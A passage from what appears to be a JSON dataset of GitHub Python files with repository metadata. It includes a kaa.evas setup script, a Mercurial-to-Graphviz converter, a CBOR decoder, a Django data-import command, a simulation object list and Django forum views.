fields.Field(widget= widgets.Textarea)\n #To = fields.ComboField(widget=widgets.Select(choices=[(x.Name, str(x.key())) for x in Person.all().fetch(offset=0,limit=100)]))\n\n##End Dolg\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2011,"string":"2,011"}}},{"rowIdx":990,"cells":{"__id__":{"kind":"number","value":2233383025424,"string":"2,233,383,025,424"},"blob_id":{"kind":"string","value":"f2404bfb017d1c31857434d98e738e76a6fe7ef3"},"directory_id":{"kind":"string","value":"99b6b239e955b06ad01974e2bbc785da065e5dd5"},"path":{"kind":"string","value":"/DEPRECATED/evas/setup.py"},"content_id":{"kind":"string","value":"38618b1f3f611d57f9766b0848a00e39ddd6e89c"},"detected_licenses":{"kind":"list like","value":["LGPL-2.1-only","GPL-2.0-only","LGPL-2.1-or-later","LGPL-2.0-or-later"],"string":"[\n \"LGPL-2.1-only\",\n \"GPL-2.0-only\",\n \"LGPL-2.1-or-later\",\n \"LGPL-2.0-or-later\"\n]"},"license_type":{"kind":"string","value":"non_permissive"},"repo_name":{"kind":"string","value":"wangkai2014/kaa"},"repo_url":{"kind":"string","value":"https://github.com/wangkai2014/kaa"},"snapshot_id":{"kind":"string","value":"a6dc26b06755e0021821ab59044370d2fd8f14e6"},"revision_id":{"kind":"string","value":"3a9e75dc033e82ac7fff6716d32b0423dbcf2922"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-06T04:41:24.067800","string":"2020-04-06T04:41:24.067800"},"revision_date":{"kind":"timestamp","value":"2011-01-25T20:33:16","string":"2011-01-25T20:33:16"},"committer_date":{"kind":"timestamp","value":"2011-01-25T20:33:16","string":"2011-01-25T20:33:16"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: iso-8859-1 -*-\n# -----------------------------------------------------------------------------\n# setup.py - Setup script for kaa.evas\n# -----------------------------------------------------------------------------\n# $Id$\n#\n# -----------------------------------------------------------------------------\n# kaa.evas - An evas wrapper for Python\n# Copyright (C) 2006 Jason Tackaberry \n#\n# First Edition: Jason Tackaberry \n# Maintainer: Jason Tackaberry \n#\n# This library is free software; you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License version\n# 2.1 as published by the Free Software Foundation.\n#\n# This library is distributed in the hope that it will be useful, but\n# WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this library; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA\n# 02110-1301 USA\n#\n# -----------------------------------------------------------------------------\n\n# python imports\nimport sys\n\ntry:\n # kaa base imports\n from kaa.distribution.core import *\nexcept ImportError:\n print 'kaa.base not installed'\n sys.exit(1)\n\nif not check_library('evas', '0.9.9.038'):\n print 'Evas >= 0.9.9.038 not found'\n print 'Download from http://enlightenment.freedesktop.org/'\n sys.exit(1)\n \nfiles = [\"src/evas.c\", \"src/object.c\", \"src/image.c\", \"src/text.c\", \n 'src/gradient.c', \"src/engine_buffer.c\", 'src/textblock.c',\n 'src/polygon.c', 'src/line.c']\n\nevasso = Extension('kaa.evas._evasmodule', files, config='src/config.h')\nevasso.add_library('evas')\nif evasso.check_cc(['', '']):\n print \"+ buffer engine\"\n evasso.configfile.define('ENABLE_ENGINE_BUFFER')\nelse:\n print \"- buffer engine\"\n\nevasso.config('#define BENCHMARK')\nevasso.config('#define EVAS_VERSION %d' % evasso.get_library('evas').get_numeric_version())\nsetup(module = 'evas',\n version = '0.1.0',\n license = 'LGPL',\n summary = 'Python bindings for Evas',\n rpminfo = {\n 'requires': 'python-kaa-base >= 0.1.2, evas >= 0.9.9.032',\n 'build_requires': 'python-kaa-base >= 0.1.2, evas-devel >= 0.9.9.032'\n },\n ext_modules = [ evasso ]\n)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2011,"string":"2,011"}}},{"rowIdx":991,"cells":{"__id__":{"kind":"number","value":214748381427,"string":"214,748,381,427"},"blob_id":{"kind":"string","value":"d3ee4e1af1344b20666e08f24e582e6c77eaa046"},"directory_id":{"kind":"string","value":"c41926ca50200800e50bdd02822a50a09c497c51"},"path":{"kind":"string","value":"/format_data.py"},"content_id":{"kind":"string","value":"30db574c5626f40236b9654f0cd88ffb6f1b9740"},"detected_licenses":{"kind":"list like","value":["BSD-3-Clause"],"string":"[\n \"BSD-3-Clause\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"SaravananThiyagarajan/problem_generator"},"repo_url":{"kind":"string","value":"https://github.com/SaravananThiyagarajan/problem_generator"},"snapshot_id":{"kind":"string","value":"a4501cad225ce75b3f6fd757c0fc0dad01e228ee"},"revision_id":{"kind":"string","value":"812cc7c9d65327fd8f602a059fb0195a07a0964a"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-28T17:26:03.929086","string":"2020-12-28T17:26:03.929086"},"revision_date":{"kind":"timestamp","value":"2014-09-24T00:30:54","string":"2014-09-24T00:30:54"},"committer_date":{"kind":"timestamp","value":"2014-09-24T00:30:54","string":"2014-09-24T00:30:54"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import json\nfrom data import PROBLEM_SUBJECTS\n\nfrom slugify import Slugify\n\nslug = Slugify(to_lower=True)\nslug.separator = '_'\n\nproblems = {\n k : {\n 'short_name': v['short_name'],\n 'categories': {\n slug(kc): {\n 'short_name': kc,\n 'skills': {\n slug(skill): { \n 'short_name': skill, \n } for skill in vc \n }\n } for kc, vc in v['categories'].items()\n }\n } for k, v in PROBLEM_SUBJECTS.items()\n}\n\nwith open('data.json', 'w') as f:\n f.write(json.dumps(problems, indent=4))"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":992,"cells":{"__id__":{"kind":"number","value":10153302698920,"string":"10,153,302,698,920"},"blob_id":{"kind":"string","value":"93a471e6cd289829712d047f424c47d657c4a007"},"directory_id":{"kind":"string","value":"bd533053d8ac4eefea2c729922b5f867e6c9c878"},"path":{"kind":"string","value":"/hg-graph.py"},"content_id":{"kind":"string","value":"75109aa4fa5343995ed4b0d5241fe7d1a1a4a81f"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"olomix/hg-graphviz"},"repo_url":{"kind":"string","value":"https://github.com/olomix/hg-graphviz"},"snapshot_id":{"kind":"string","value":"9302a2613ab7ff5611a5494f12d8901ceb1915f8"},"revision_id":{"kind":"string","value":"1f9b92281981b70d710965ae1bab3fb83781efd0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-08-04T14:47:48.535497","string":"2016-08-04T14:47:48.535497"},"revision_date":{"kind":"timestamp","value":"2013-08-01T11:04:47","string":"2013-08-01T11:04:47"},"committer_date":{"kind":"timestamp","value":"2013-08-01T11:04:47","string":"2013-08-01T11:04:47"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/env python\n\"\"\"\nRun it:\nhg log -r c54441866584::default --template \"{node} {children} {branch} {date|isodate} {desc} {author}\\n\" | hg-graph.py | dot -Tpng -o1.png\n\"\"\"\n\nimport cgi\nimport re\nimport sys\n\ndef print_rev(rev, branch, date, user, desc):\n print (\n \"\\\"{0}\\\" [shape=box, margin=0, label=<\"\n \"\"\n \"\"\n \"\"\n \"\"\n \"\"\n \"
changeset{0}
branch{1}
date{2}
user{3}
desc{4}
>];\"\n .format(rev, cgi.escape(branch), cgi.escape(date), cgi.escape(user), cgi.escape(desc))\n )\n\nMAIN_RE = re.compile(\n r'^([a-f0-9]{12})[a-f0-9]{28}((?:\\s\\d+\\:[a-f0-9]{12})*)'\n r'\\s(.*)'\n r'\\s(.*)'\n r'\\s(.*)'\n r'\\s(.*)'\n '.*$', re.I)\nREV_RE = re.compile(r'\\s\\d+:([a-f0-9]{12})', re.I)\n\nseen = set()\n\nprint 'digraph G {'\nfor i in sys.stdin:\n m = MAIN_RE.search(i)\n if m:\n rev = m.group(1)\n if rev not in seen:\n seen.add(rev)\n branch = m.group(3)\n date = m.group(4)\n desc = m.group(5)\n user = m.group(6)\n print_rev(rev, branch, date, user, desc)\n \n if m.group(2):\n for c in REV_RE.findall(m.group(2)):\n child = c[-12:]\n print \"\\\"{}\\\" -> \\\"{}\\\";\".format(rev, child)\nprint '}'\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":993,"cells":{"__id__":{"kind":"number","value":3315714800271,"string":"3,315,714,800,271"},"blob_id":{"kind":"string","value":"5156380d7ac54fdcaafbf90bb3c59e4e789b9331"},"directory_id":{"kind":"string","value":"6521bbff699492bc34abee65a8dbaebb21488211"},"path":{"kind":"string","value":"/cbor/decoder.py"},"content_id":{"kind":"string","value":"cd70ec2ca8a7fa081d19251bb750d1accf0eb830"},"detected_licenses":{"kind":"list like","value":["BSD-3-Clause"],"string":"[\n \"BSD-3-Clause\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"svartalf/python-cbor"},"repo_url":{"kind":"string","value":"https://github.com/svartalf/python-cbor"},"snapshot_id":{"kind":"string","value":"c261d349fcf172450cc78a8c0de2b0f981a4975d"},"revision_id":{"kind":"string","value":"b7a2cd725a3df4f0c43d889ffbb3c165a2e5a63b"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-06-01T00:25:34.829493","string":"2016-06-01T00:25:34.829493"},"revision_date":{"kind":"timestamp","value":"2014-06-06T06:59:25","string":"2014-06-06T06:59:25"},"committer_date":{"kind":"timestamp","value":"2014-06-06T06:59:25","string":"2014-06-06T06:59:25"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n\nimport datetime\nimport struct\nimport math\n\nfrom cbor import constants\n\n\ndef _parse_type(char):\n first_byte = ord(char)\n\n # major type\n major_type = (first_byte >> 5) & 0x07\n\n # additional information\n additional = first_byte & 0x1f\n\n return major_type, additional\n\n\ndef parse_unsigned_integer(s, end, additional):\n \"\"\"A unsigned integer\"\"\"\n\n if additional <= 23:\n # An integer itself\n return additional, 1\n\n elif additional == 24:\n # uint8_t\n return ord(s[1]), 1\n\n elif additional == 25:\n # uint16_t\n return int(s[end:end+2].encode('hex'), 16), 2\n\n elif additional == 26:\n # uint32_t\n return int(s[end:end+4].encode('hex'), 16), 4\n\n elif additional == 27:\n # uint64_t\n return int(s[end:end+8].encode('hex'), 16), 8\n\n\ndef parse_negative_integer(s, end, additional):\n \"\"\"A negative integer\"\"\"\n\n result, offset = parse_unsigned_integer(s, end, additional)\n\n return (-1 - result), offset\n\n\ndef parse_bytestring(s, end, additional):\n \"\"\"A byte string\"\"\"\n\n string_end = end + additional + 1\n\n return (struct.unpack('{}s'.format(additional), s[end:string_end])[0]), string_end\n\n\ndef parse_string(s, end, additional):\n \"\"\"A text string, specifically a string of Unicode characters that is encoded as UTF-8\"\"\"\n\n result, offset = parse_bytestring(s, end, additional)\n\n return result.decode('utf-8'), offset\n\n\ndef parse_tag(s, end, additional):\n major_type, tag_additional = _parse_type(s[end])\n\n if additional == 0:\n # Date/time string\n result, offset = parse_string(s, end + 1, tag_additional)\n result = constants.UTC_TIMEZONE.localize(datetime.datetime.strptime(result, '%Y-%m-%dT%H:%M:%SZ'))\n\n return result, offset + 1\n\n elif additional == 1:\n # numerical representation of seconds relative to 1970-01-01T00:00Z in UTC time\n result, offset = parse_unsigned_integer(s, end, tag_additional)\n\n return constants.UTC_TIMEZONE.localize(datetime.datetime.fromtimestamp(result)), offset + 1\n\n elif additional == 2:\n # Positive bignum\n\n bytestring = struct.unpack('{}s'.format(tag_additional), s[end+1:end+10])[0]\n\n return int(bytestring.encode('hex'), 16), tag_additional + 1\n\n elif additional == 3:\n # Negative bignum\n\n bytestring = struct.unpack('{}s'.format(tag_additional), s[end+1:end+10])[0]\n\n return ( -1 - int(bytestring.encode('hex'), 16)), tag_additional + 1\n\n\ndef parse_float(s, end, additional):\n if additional == 25:\n # IEEE 754 Half-Precision Float (16 bits follow)\n chars = s[end:end+2]\n half = (ord(chars[0]) << 8) + ord(chars[1])\n exp = (half >> 10) & 0x1f\n mant = half & 0x3ff\n\n if exp == 0:\n val = math.ldexp(mant, -24)\n elif exp != 31:\n val = math.ldexp(mant + 1024, exp - 25)\n else:\n val = constants.INFINITY if mant == 0 else constants.NAN\n\n return (-val if half & 0x8000 else val), 2\n\n elif additional == 26:\n # IEEE 754 Single-Precision Float (32 bits follow)\n return (struct.unpack('!f', s[end:end+4])[0]), 4\n\n elif additional == 27:\n # IEEE 754 Double-Precision Float (64 bits follow)\n return (struct.unpack('!d', s[end:end+8])[0]), 8\n\n\n# TODO: move it into a `constants` module\n_simple_values = {\n 20: False,\n 21: True,\n 22: None,\n 23: None, # TODO: `undefined` type (how?)\n}\n\n\ndef parse_simple(s, end, additional):\n try:\n return _simple_values[additional], end + 1\n except KeyError:\n raise ValueError('Wrong simple value')\n\n\ndef parse_float_and_simple(s, end, additional):\n if additional <= 23:\n return parse_simple(s, end, additional)\n return parse_float(s, end, additional)\n\n\n_parsers = {\n 0: parse_unsigned_integer,\n 1: parse_negative_integer,\n 2: parse_bytestring,\n 3: parse_string,\n 6: parse_tag,\n 7: parse_float_and_simple,\n}\n\n\ndef parse(s, idx=0):\n major_type, additional = _parse_type(s[idx])\n parser = _parsers[major_type]\n\n return parser(s, idx+1, additional)\n\n\nclass CBORDecoder(object):\n\n def decode(self, s):\n return parse(s)[0]\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":994,"cells":{"__id__":{"kind":"number","value":120259094001,"string":"120,259,094,001"},"blob_id":{"kind":"string","value":"266280f73531cc6d4c0b9d891cf21c78b51979ae"},"directory_id":{"kind":"string","value":"fa4d713b8626a52ad97fb076ba7b69c2924aee49"},"path":{"kind":"string","value":"/data/management/commands/import_shelter_population.py"},"content_id":{"kind":"string","value":"731a5e8b0af7637765dec0c1e146d799f382b9d5"},"detected_licenses":{"kind":"list like","value":["MIT"],"string":"[\n \"MIT\"\n]"},"license_type":{"kind":"string","value":"permissive"},"repo_name":{"kind":"string","value":"npp/npp-api"},"repo_url":{"kind":"string","value":"https://github.com/npp/npp-api"},"snapshot_id":{"kind":"string","value":"f4f38e704585701d9c1aae648a3eac830d1af4cb"},"revision_id":{"kind":"string","value":"63952c102fa51eeab425f19daa49fe82012c53b6"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-05-17T04:49:29.292349","string":"2020-05-17T04:49:29.292349"},"revision_date":{"kind":"timestamp","value":"2013-04-19T16:55:15","string":"2013-04-19T16:55:15"},"committer_date":{"kind":"timestamp","value":"2013-04-19T16:55:15","string":"2013-04-19T16:55:15"},"github_id":{"kind":"number","value":1681867,"string":"1,681,867"},"star_events_count":{"kind":"number","value":2,"string":"2"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"bool","value":false,"string":"false"},"gha_event_created_at":{"kind":"timestamp","value":"2012-12-13T17:59:39","string":"2012-12-13T17:59:39"},"gha_created_at":{"kind":"timestamp","value":"2011-04-29T18:04:35","string":"2011-04-29T18:04:35"},"gha_updated_at":{"kind":"timestamp","value":"2012-12-13T17:54:30","string":"2012-12-13T17:54:30"},"gha_pushed_at":{"kind":"timestamp","value":"2012-12-13T17:54:28","string":"2012-12-13T17:54:28"},"gha_size":{"kind":"number","value":184,"string":"184"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"number","value":0,"string":"0"},"gha_open_issues_count":{"kind":"number","value":0,"string":"0"},"gha_language":{"kind":"string","value":"Python"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django import db\nfrom django.conf import settings\nfrom django.core.management.base import NoArgsCommand\nfrom data.models import ShelterPopulation\nimport csv\n\n# National Priorities Project Data Repository\n# import_new_aids_cases.py\n# Updated 6/25/2010, Joshua Ruihley, Sunlight Foundation\n\n# Imports Census Shelter Population Numbers\n# source info: http://www.census.gov/population/www/cen2000/briefs/phc-t12/index.html (accurate as of 6/25/2010)\n# npp csv: http://assets.nationalpriorities.org/raw_data/census.gov/use_me_shelter_population.csv (updated 6/25/2010)\n# destination model: ShelterPopulation\n\n# HOWTO:\n# 1) Download source files from url listed above\n# 2) Convert source file to .csv with same formatting as npp csv\n# 3) change SOURCE_FILE variable to the the path of the source file you just created\n# 5) Run as Django management command from your project path \"python manage.py import_shelter_population\n\nSOURCE_FILE = '%s/census.gov/use_me_shelter_population.csv' % (settings.LOCAL_DATA_ROOT)\n\nclass Command(NoArgsCommand):\n \n def handle_noargs(self, **options):\n data_reader = csv.reader(open(SOURCE_FILE))\n \n def clean_float(value):\n if value == \"\":\n value = None\n return value\n \n for i, row in enumerate(data_reader):\n if i > 0:\n state = row[0]\n value_1990 = row[1]\n percent_1990 = row[2]\n value_2000 = row[3]\n percent_2000 = row[4]\n record_1990 = ShelterPopulation(year=1990, state=state, value=value_1990, percent=clean_float(percent_1990))\n record_1990.save()\n record_2000 = ShelterPopulation(year=2000, state=state, value=value_2000, percent=clean_float(percent_2000))\n record_2000.save()"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":995,"cells":{"__id__":{"kind":"number","value":18339510369374,"string":"18,339,510,369,374"},"blob_id":{"kind":"string","value":"971b6e9e0b4b89ae6a658c4697a8ce66240b7d44"},"directory_id":{"kind":"string","value":"3d0c4321f86c3d875f449771245249bf458c3ade"},"path":{"kind":"string","value":"/src/Enviroment/Objects.py"},"content_id":{"kind":"string","value":"406bdec4ff395d8421eb362fb8b3a236a5756f5b"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"jakubkotrla/spacemap"},"repo_url":{"kind":"string","value":"https://github.com/jakubkotrla/spacemap"},"snapshot_id":{"kind":"string","value":"630bfea057afcef46b93cfe06450a9e6d7a78cab"},"revision_id":{"kind":"string","value":"08f27a285d742971806aef88b914316c3d3785b3"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T10:29:42.144969","string":"2021-01-10T10:29:42.144969"},"revision_date":{"kind":"timestamp","value":"2009-04-17T06:20:34","string":"2009-04-17T06:20:34"},"committer_date":{"kind":"timestamp","value":"2009-04-17T06:20:34","string":"2009-04-17T06:20:34"},"github_id":{"kind":"number","value":45355817,"string":"45,355,817"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"## @package Enviroment.Objects\r\n# Contains list of object types available for worlds.\r\n\r\nfrom Enviroment.Affordances import *\r\n\r\n## Represents type of object, has affordances.\r\nclass Object:\r\n def __init__(self, name, affs = []):\r\n self.name = name\r\n self.affordances = affs\r\n \r\n def ToString(self):\r\n strAff = \"\"\r\n for aff in self.affordances: strAff = strAff + aff.name + \", \"\r\n return self.name + \" (\" + strAff + \")\" \r\n \r\n \r\n# Configuration part\r\nWaypointObject = Object('Waypoint', [])\r\n\r\n\r\nMeal = Object('Meal', [Eatability])\r\nSandwich = Object('Sandwich', [Eatability])\r\nApple = Object('Apple', [Eatability, Throwability])\r\nOrange = Object('Orange', [Eatability, Throwability])\r\n\r\nSink = Object('Sink', [Wetability, Repairability])\r\nPlate = Object('Plate', [Washability])\r\nCup = Object('Cup', [Washability])\r\nFork = Object('Fork', [Washability])\r\nKnife = Object('Knife', [Washability, Cutability])\r\nPot = Object('Pot', [Washability])\r\nCover = Object('Cover', [Washability])\r\n\r\nBook = Object('Book', [Readability])\r\nJournal = Object('Journal', [Readability])\r\nNewspapers = Object('Newspapers', [Readability])\r\nGlasses = Object('Glasses', [Zoomability])\r\n\r\nCocaColaCan = Object('CocaColaCan', [Drinkability])\r\nBottleOfWine = Object('BottleOfWine', [Drinkability])\r\n\r\nTelevision = Object('Television', [Watchability, Repairability])\r\nPainting = Object('Painting', [Watchability])\r\nPhotoalbum = Object('Photoalbum', [Watchability])\r\nVideo = Object('Video', [Watchability, Repairability])\r\nFlower = Object('Flower', [Watchability])\r\n\r\nChess = Object('Chess', [Playability])\r\nCards = Object('Cards', [Playability])\r\nGameBoy = Object('GameBoy', [Playability])\r\n\r\nSofa = Object('Sofa', [Sitability])\r\nArmchair = Object('Armchair', [Sitability])\r\nChair = Object('Chair', [Sitability])\r\n\r\nTable = Object('Table', [Placeability, Repairability])\r\nShelf = Object('Shelf', [Placeability, Repairability])\r\nBox = Object('Box', [Placeability, Repairability])\r\n\r\nDoor = Object('Door', [Exitability])\r\n\r\nHammer = Object('Hammer', [Hammerability])\r\nNail = Object('Nail', [Nailability])\r\nScrewdriver = Object('Screwdriver', [Screwability])\r\n\r\nPipe = Object('Pipe', [Smokeability])\r\nWood = Object('Wood', [Fireability])\r\nTorch = Object('Torch', [Lightability])\r\n\r\n## List of all available object types.\r\nObjects = [\r\n Meal,\r\n Sandwich,\r\n Apple,\r\n Orange,\r\n Sink,\r\n Plate,\r\n Cup,\r\n Fork,\r\n Knife,\r\n Pot,\r\n Cover,\r\n Book,\r\n Journal,\r\n Newspapers,\r\n Glasses,\r\n CocaColaCan,\r\n BottleOfWine,\r\n Television,\r\n Painting,\r\n Photoalbum,\r\n Video,\r\n Flower,\r\n Sofa,\r\n Armchair,\r\n Table,\r\n Shelf,\r\n Box,\r\n Door,\r\n Hammer,\r\n Nail,\r\n Screwdriver,\r\n Pipe,\r\n Wood,\r\n Torch\r\n]\r\n\r\n\r\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2009,"string":"2,009"}}},{"rowIdx":996,"cells":{"__id__":{"kind":"number","value":4758823779955,"string":"4,758,823,779,955"},"blob_id":{"kind":"string","value":"015017031876a99395de919126931e072344d71b"},"directory_id":{"kind":"string","value":"11c4b5746043fa6d70472315160e2984807d1299"},"path":{"kind":"string","value":"/posts/views.py"},"content_id":{"kind":"string","value":"19c1f361c61ea18636bb473d8c207c1ffc3a94a3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"fredchu/forum"},"repo_url":{"kind":"string","value":"https://github.com/fredchu/forum"},"snapshot_id":{"kind":"string","value":"d955baf1979e99fb72cdd7a1a7eb75edd5afe9b5"},"revision_id":{"kind":"string","value":"bfc8acda7c57c661d2782ade14aeb5734076e3b0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-01T17:21:18.180924","string":"2021-01-01T17:21:18.180924"},"revision_date":{"kind":"timestamp","value":"2013-08-01T10:05:16","string":"2013-08-01T10:05:16"},"committer_date":{"kind":"timestamp","value":"2013-08-01T10:05:16","string":"2013-08-01T10:05:16"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# -*- coding: utf-8 -*-\n\nfrom django.http import HttpResponseRedirect, HttpResponse, Http404\nfrom django.template import RequestContext, loader\nfrom django.shortcuts import render, get_object_or_404\nfrom django.core.urlresolvers import reverse\nfrom django.core.exceptions import ValidationError\nimport datetime\nfrom django import forms\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom posts.models import Post\n\ndef index(request):\n return index_pages(request, 1)\n\ndef index_pages(request, page):\n postsPaginator = Paginator(Post.objects.all(), 4, orphans=2)\n\n try:\n posts = postsPaginator.page(page)\n except (PageNotAnInteger, EmptyPage):\n posts = postsPaginator.page(1)\n\n return render(request, 'posts/index.html', {\n 'posts': posts\n })\n\ndef show(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n comments = enumerate( post.comment_set.all())\n\n return render(request, 'posts/show.html', {\n 'post': post,\n 'comments': comments\n })\n\ndef create_page(request):\n return render(request, 'posts/new.html', {})\n\ndef create(request):\n title = request.POST['title'].strip()\n content = request.POST['content'].strip()\n\n post = Post(\n title=title,\n content=content\n )\n\n try:\n post.full_clean()\n except ValidationError as err:\n return render(request, 'posts/new.html', {\n 'ori': {\n 'title': title,\n 'content': content\n },\n 'err': err.message_dict\n })\n\n post.save()\n\n return HttpResponseRedirect('/posts/')\n\ndef edit(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n\n return render(request, 'posts/edit.html', {\n 'post': post\n })\n\ndef update(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n\n if request.POST[ 'title' ]:\n post.title = request.POST[ 'title' ]\n elif len( request.POST[ 'title' ]) == 0:\n post.title = ''\n\n if request.POST[ 'content' ]:\n post.content = request.POST[ 'content' ]\n elif len( request.POST[ 'content' ]) == 0:\n post.content = ''\n\n try:\n post.full_clean()\n except ValidationError as err:\n return render(request, 'posts/edit.html', {\n 'ori': {\n 'title': post.title,\n 'content': post.content\n },\n 'post': post,\n 'err': err.message_dict\n })\n\n post.save()\n\n return HttpResponseRedirect('/posts/' + post_id)\n\ndef destroy(request, post_id):\n post = get_object_or_404(Post, pk=post_id)\n\n post.delete()\n\n return 